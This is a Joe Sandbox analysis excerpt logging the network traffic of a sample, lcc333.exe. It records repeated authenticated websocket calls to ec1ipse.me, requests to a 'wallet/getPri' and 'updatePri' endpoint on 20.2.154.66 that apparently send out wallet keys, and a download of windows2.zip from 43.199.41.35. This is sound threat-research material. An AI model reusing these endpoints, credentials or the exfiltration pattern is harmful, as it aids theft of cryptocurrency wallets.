Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529493 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: fNEZjZj4duZrRnwSm600NQ==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NTVUU1k0NU00TW9RMVlWa29KSENmM2plcnloS0JSOHZpcHNpcmpld2RSaFJFcmdXNkNhWXVBOUJSeHpnNTFaUnBKZEY2clFKZUxzZ2tlbWZmcUhuVUhT
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529500 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: KngXupv80UoejMuFIlqepg==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M1VpaUhnWmpFQjdNNjRmOFlta1lhSkRwVUFRNXgyR25uckFCUFJNcEtZZVBURWRlQjZ3WVVDS0QyQlJiMk5zRGdmU0s5M1RnWGNyZVdDZzhwRHcyd0Z3VA==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529501 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: j6vtTw5Bu3zHrdEAvVh3Dw==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86YkNpZnM4YTJGOGdiNXNSendkN1JyaTJiWE5MZlllcUhzV0FQTWFyczZWWEVyUlV2cE51a1BGQ0JRbTM4eHVkWFNkNTFWS010SHYzcjRuQ3JBdEN0N3Vj
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529508 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: qRN+NG4Nxs/4uirJDFZciQ==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NHhZZFBiODlRbmpOSDY4WHZKWjhCTmVSY1JNNGQxd2I0UjYybkZ0TXFoa1VKN0xuV1Bad00xUW9EaTVINEdMV1doMkZEUXNyamNTYkJZWFBIdmY1R3FNWg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529508 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: X8Pr2Hwo0w5JM2/K0j4UOQ==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M3BuandoZUw2M1FEelliWmF6dENZQm1UUnV1cmJLUXpSdTc2djVCWWJtcjNUWW96MndVOG5XU3lkcHd2VUt2S0UyaHRCODJNRnVvTkFKU2JWcGpWdFJrbg==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529514 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Ynt1PuqpG/6BQxTB/m8e8w==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NHViVDhjVmF1NWREaDhwaDJDMmpHV0FKS0p0VGk5Sm9vekxybzRQdVZIOFFvUHJaeWNFODFZZWE1cnZhb3RKVVpKdzlCNEV2ckZGdzNOUXpIQ0NNdW11Rg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529514 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Njx82qrHiA3W9ov4hAzCKw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NW1KWFBSRVR6YWdXaVFCOVVLakN4RVZnN3NBUllpbkdheG1RNUg1TUplY1g5aFg4TlhkV1JVd0NiMXdQZzJ5MUNtR3pTZEJUbkNqV3o1cGJwVGdlQW1TUQ==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529521 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 1GumYcukGPwro1eUNHrDMw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6MjZpaXdzUmF6Sm9oZmdMZHJ0UWZvR2IyekFCU1BhcER6V3pUNzlVVWY5RWF4YjV5TlJ5NnNMS3FkY21SUHV0UWJXbnVTNnlxSnBnWWFjelFUNEpRajNuZg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529521 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: qK3WihSrquxN35r2ZCS5Lw==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M3BtanFTc1ljSk1CZEFaYnN5dkc3bUpYZVlFVW1ucGtkczlQanJtdzdTeFJmemRRWGRCcGJOM1M4OXBncXhBTmlreW9Ycm02YVlINDRndEo5Q3p1WDRkZA==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529527 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 0dWhl/NTdbOrVDaVKZ/Hdw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6MkxWRGRZVThZUk1tUWpFMU1HSDZoVEw0ZXF1bjZUWTc2TXlFNWhXQlZqV2pGNlRrcHBLQm5BVVdvcXpCc21RZVdqakdjeHZURTRzYm9KOTNzeTNMMmNqMw==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529528 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: SgbzhYTM+TLQu0KGeek80g==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86dHdEaDJCMTVjTGZkcmtldkVwRjRTb2pzdlcxam8yY3prb3Y1S0FVSFpEUmIySkJhZmFQelozZ3JMNFFaN1Q4QWFZN0gyWVhUZ3Z0RmsyVlBGb2NQUmZx
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/updatePri?pub=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyKQ91Q&bal=0.04496249757&first=true HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/updatePri?pub=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJEPro&bal=0.04497911667&first=true HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: /host: 20.2.154.66:48080

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35
Source: unknown	TCP traffic detected without corresponding DNS query: 43.199.41.35

Source: global traffic	HTTP traffic detected: GET /miner/rewards?pubkey=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyKQ91Q HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /miner/rewards?pubkey=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJEPro HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529460 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: j+ijabsuJbfoanaXa6e/wg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M0RVYkdDNGczaGMxYVZ5OEJ4ZXpHWWhEbzVwdDVkeDZRd0dERjZyZEN2eEptMUpkQWVWaUs4ZzlIQUJSRVZWdW1aeG5KVnlqbmJ2Ym1uWTlvcEhKRnJQaw==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529460 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Pa7nbnXbg02FFMyV6RJt6A==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M2dKM1llU0szcnNQOUNoanltOW9xZXRhR2pZQzVQTEN3bzlnSEpDUEdIWlB1YkV0OHJ5dTZQMndjZE1CNUg1a054ZjRTSjV0aUpoQ25pNW1SNE5zVnB2Rw==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529467 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: kjCthDRqmFKGgW61X8+gcg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NW9CMW91MzRpU2R3M2tpaEdUV1BEVXFIMm9wR2tpN2FiWEFvenhoUjU0MXpoZkZDTURLclFObWhTTmE3QVFjQlZ3SEw4c3RncGd6UXdlaTFxSjZLZXNNcg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529467 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: DOpCmHC46XhQJiGoEF5WHA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NWRQaXo3TERyeXZQVmVibVBWUzRmbURCRjE4QVV5cWJLMThQR2FLVXJ5emFRUnFaY2pwZTZmZTZYZkVCdTQ0cEdFOGVaZjVDQ0hDRFJwUjZmRkVpc0dnVg==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529473 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 06+qmnMtCAEE2s2ywxV3ug==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86Mm1UTXlqSjZxVTlncUthVXhZTWZtYlZ1eEJ4RjNOaFVBako5TVpYa2NhRldqTXRuTFVxUXJqb0I5VzhZdGp5QWlTS1R1b1VtaU5FMUtUUnhUNkM1WlY0Rg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529473 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: ACuOhDY8i4K7DEpUKBlvYw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M3lmRFRWNkZlY1ZzYVJhbnpTcGRQVFlWelF0ZEVvbUZUREhhbUx4V2o4UWF6TktvZGlaU1pab0JoSnNNdHVIbWlZU3dKWWZMaXh3TkhkR2E5NVo5NEdxUg==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529480 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: uN1+11IrwDzGU8rnhMRxNQ==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M0ZVU2N6UjJndkt3OUZvZE1pbnJSWHd4YVI0THJVa2g1NjZOV2pSa0Z2ekM5a2VCVzhIOXBnR3FtcDhKcjhzQTVUclFCR0VFUXBjVFc2cDhCZUN5MktwSw==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529480 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: H7m8aVRHdQaFbrlh0idjiA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6Y29jZUpGRnJWM1dUUXJEQWtOSjlBclZoeGJ0WWtWN2pyd1RMU1ZxRTJ4anJCcmcxZDlQRGltblVmUERORVptQlFob0JGSlQzVENLNkhTWUxSU2tqTWtM
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529486 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: TBZMZ12pMHBBoC4mQVa+yA==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NHNzd2k1aHROd3hCQzRkTTlYbnNteXdrOFY1Uk10S2czMzRtbm94Uzc4Rnp6WXo4TWdZc3RpeFZqYVlrZzJFbkx5d3NyYzZYQlYyUkRWSnJ0anN0QUhnVQ==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529486 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: nkGHFwCOnEgaFMiW/EcHhA==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6WGZhUXUzdExuQTFuNTdONUFaemdFSEdwY3F1Q0RlVkJudldBc3NaQUIyNFdkaGozMWh5Y3Rod3oyeERrOENCNE44TlkxU0dqeVBxbkg1VHVRRDR2eEdw
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529493 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Jcg0jM88I6kJ8E206drpQg==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NWpvR210UEtUMWtyOE1RQmlNWTl4UzQyNFpUZXRHZFlNQUprMkJ2Y0o1eTlITlRmVkJTZmV0Uk5aOTVkaFl3Zml0OWdlS3BMYkZBNmpuclExVHc2dEQ0Zg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529493 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: fNEZjZj4duZrRnwSm600NQ==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NTVUU1k0NU00TW9RMVlWa29KSENmM2plcnloS0JSOHZpcHNpcmpld2RSaFJFcmdXNkNhWXVBOUJSeHpnNTFaUnBKZEY2clFKZUxzZ2tlbWZmcUhuVUhT
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529500 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: KngXupv80UoejMuFIlqepg==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M1VpaUhnWmpFQjdNNjRmOFlta1lhSkRwVUFRNXgyR25uckFCUFJNcEtZZVBURWRlQjZ3WVVDS0QyQlJiMk5zRGdmU0s5M1RnWGNyZVdDZzhwRHcyd0Z3VA==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529501 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: j6vtTw5Bu3zHrdEAvVh3Dw==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86YkNpZnM4YTJGOGdiNXNSendkN1JyaTJiWE5MZlllcUhzV0FQTWFyczZWWEVyUlV2cE51a1BGQ0JRbTM4eHVkWFNkNTFWS010SHYzcjRuQ3JBdEN0N3Vj
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529508 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: qRN+NG4Nxs/4uirJDFZciQ==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NHhZZFBiODlRbmpOSDY4WHZKWjhCTmVSY1JNNGQxd2I0UjYybkZ0TXFoa1VKN0xuV1Bad00xUW9EaTVINEdMV1doMkZEUXNyamNTYkJZWFBIdmY1R3FNWg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529508 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: X8Pr2Hwo0w5JM2/K0j4UOQ==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M3BuandoZUw2M1FEelliWmF6dENZQm1UUnV1cmJLUXpSdTc2djVCWWJtcjNUWW96MndVOG5XU3lkcHd2VUt2S0UyaHRCODJNRnVvTkFKU2JWcGpWdFJrbg==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529514 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Ynt1PuqpG/6BQxTB/m8e8w==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NHViVDhjVmF1NWREaDhwaDJDMmpHV0FKS0p0VGk5Sm9vekxybzRQdVZIOFFvUHJaeWNFODFZZWE1cnZhb3RKVVpKdzlCNEV2ckZGdzNOUXpIQ0NNdW11Rg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529514 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: Njx82qrHiA3W9ov4hAzCKw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NW1KWFBSRVR6YWdXaVFCOVVLakN4RVZnN3NBUllpbkdheG1RNUg1TUplY1g5aFg4TlhkV1JVd0NiMXdQZzJ5MUNtR3pTZEJUbkNqV3o1cGJwVGdlQW1TUQ==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529521 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 1GumYcukGPwro1eUNHrDMw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6MjZpaXdzUmF6Sm9oZmdMZHJ0UWZvR2IyekFCU1BhcER6V3pUNzlVVWY5RWF4YjV5TlJ5NnNMS3FkY21SUHV0UWJXbnVTNnlxSnBnWWFjelFUNEpRajNuZg==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529521 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: qK3WihSrquxN35r2ZCS5Lw==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M3BtanFTc1ljSk1CZEFaYnN5dkc3bUpYZVlFVW1ucGtkczlQanJtdzdTeFJmemRRWGRCcGJOM1M4OXBncXhBTmlreW9Ycm02YVlINDRndEo5Q3p1WDRkZA==
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529527 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: 0dWhl/NTdbOrVDaVKZ/Hdw==authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6MkxWRGRZVThZUk1tUWpFMU1HSDZoVEw0ZXF1bjZUWTc2TXlFNWhXQlZqV2pGNlRrcHBLQm5BVVdvcXpCc21RZVdqakdjeHZURTRzYm9KOTNzeTNMMmNqMw==
Source: global traffic	HTTP traffic detected: GET /v2/ws?timestamp=1732529528 HTTP/1.1Host: ec1ipse.meConnection: upgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: SgbzhYTM+TLQu0KGeek80g==authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86dHdEaDJCMTVjTGZkcmtldkVwRjRTb2pzdlcxam8yY3prb3Y1S0FVSFpEUmIySkJhZmFQelozZ3JMNFFaN1Q4QWFZN0gyWVhUZ3Z0RmsyVlBGb2NQUmZx
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /timestamp HTTP/1.1accept: /host: ec1ipse.me
Source: global traffic	HTTP traffic detected: GET /windows2.zip HTTP/1.1Host: 43.199.41.35:8080User-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflateAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/updatePri?pub=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyKQ91Q&bal=0.04496249757&first=true HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/updatePri?pub=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJEPro&bal=0.04497911667&first=true HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: /host: 20.2.154.66:48080
Source: global traffic	HTTP traffic detected: GET /admin-api/ore/wallet/getPri HTTP/1.1accept: /host: 20.2.154.66:48080

Source: global traffic

DNS traffic detected: DNS query: ec1ipse.me

Source: lcc333.exe, 00000002.00000003.2134241371.000002B936A36000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134662926.000002B936A37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://.../back.jpeg
